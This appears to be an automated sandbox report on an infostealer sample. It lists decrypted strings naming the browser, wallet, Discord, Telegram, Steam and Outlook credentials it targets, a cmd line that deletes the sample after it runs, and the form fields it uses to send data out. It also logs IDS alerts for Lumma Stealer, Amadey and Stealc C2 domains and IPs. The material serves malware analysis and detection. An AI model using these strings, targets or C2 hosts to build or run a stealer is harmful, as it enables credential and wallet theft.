Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: CURRENT
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: chrome-extension_
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Local State
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: profiles.ini
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: chrome
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: opera
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: firefox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: wallets
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %08lX%04lX%lu
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ProductName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: x32
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: x64
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %d/%d/%d %d:%d:%d
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ProcessorNameString
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DisplayName
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DisplayVersion
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Network Info:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - IP: IP?
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Country: ISO?
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: System Summary:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - HWID:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - OS:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Architecture:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - UserName:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Computer Name:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Local Time:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - UTC:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Language:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Keyboards:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Laptop:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Running Path:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - CPU:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Threads:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Cores:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - RAM:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - Display Resolution:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: - GPU:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: User Agents:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Installed Apps:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: All Users:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Current User:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Process List:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: system_info.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: freebl3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: mozglue.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: msvcp140.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: nss3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: softokn3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: vcruntime140.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Temp\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: .exe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: runas
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: open
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: /c start
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %DESKTOP%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %APPDATA%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %LOCALAPPDATA%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %USERPROFILE%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %DOCUMENTS%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %PROGRAMFILES%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %PROGRAMFILES_86%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: %RECENT%
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: *.lnk
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: files
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \discord\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Local Storage\leveldb\CURRENT
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Local Storage\leveldb
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Telegram Desktop\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: key_datas
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: D877F783D5D3EF8C*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: map*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: A7FDF864FBC10B77*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: A92DAA6EA6F891F2*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: F8806DD0C461824F*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Telegram
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Tox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: *.tox
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: *.ini
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Password
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 00000001
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 00000002
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 00000003
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: 00000004
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Outlook\accounts.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Pidgin
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \.purple\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: accounts.xml
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: dQw4w9WgXcQ
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: token:
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Software\Valve\Steam
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: SteamPath
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \config\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ssfn*
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: config.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DialogConfig.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: DialogConfigOverlay*.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: libraryfolders.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: loginusers.vdf
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Steam\
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: sqlite3.dll
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: browsers
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: done
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: soft
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: \Discord\tokens.txt
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: /c timeout /t 5 & del /f /q "
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: C:\Windows\system32\cmd.exe
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: https
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: POST
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: HTTP/1.1
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: Content-Disposition: form-data; name="
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: hwid
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: build
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: token
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: file_name
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: file
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: message
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 10.2.b28f5af0b9.exe.2c0000.0.unpack String decryptor: screenshot.jpg
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49874 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49890 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49939 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49983 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50078 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50092 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50095 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50096 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: Binary string: my_library.pdbU source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source: Binary string: my_library.pdb source: b28f5af0b9.exe, 0000000A.00000003.2539631182.0000000004D1B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580073228.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, b28f5af0b9.exe, 0000001D.00000003.2678993762.0000000004F6B000.00000004.00001000.00020000.00000000.sdmp, b28f5af0b9.exe, 0000001D.00000002.2770625069.00000000002EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001E.00000002.2683995426.000000000023C000.00000008.00000001.01000000.00000017.sdmp, num.exe, 00000025.00000002.2830828973.000000000023C000.00000008.00000001.01000000.00000017.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmp, CMI46CXL3718GGL9UBA.exe, 00000004.00000003.2070411561.0000000004970000.00000004.00001000.00020000.00000000.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2849679646.0000000000922000.00000040.00000001.01000000.00000018.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000003.2713779245.0000000004750000.00000004.00001000.00020000.00000000.sdmp
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Directory queried: number of queries: 1535
Source: firefox.exe Memory has grown: Private usage: 1MB later: 95MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:60775 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:51371 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:54156 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:59698 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54274 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49781 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52091 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59708 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:64189 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55821 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49797
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49845 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49866 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49874 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49890 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49914 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49907 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49902 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49925 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:52268 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:53359 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:64384 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:55832 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49959 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49968 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49949 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49955 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49983 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50009 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50001 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50032 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50052 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:59855 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50050 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50048 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:59761 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:57389 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50077 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50055 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:57852 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50111 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49939 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49857 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49844 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
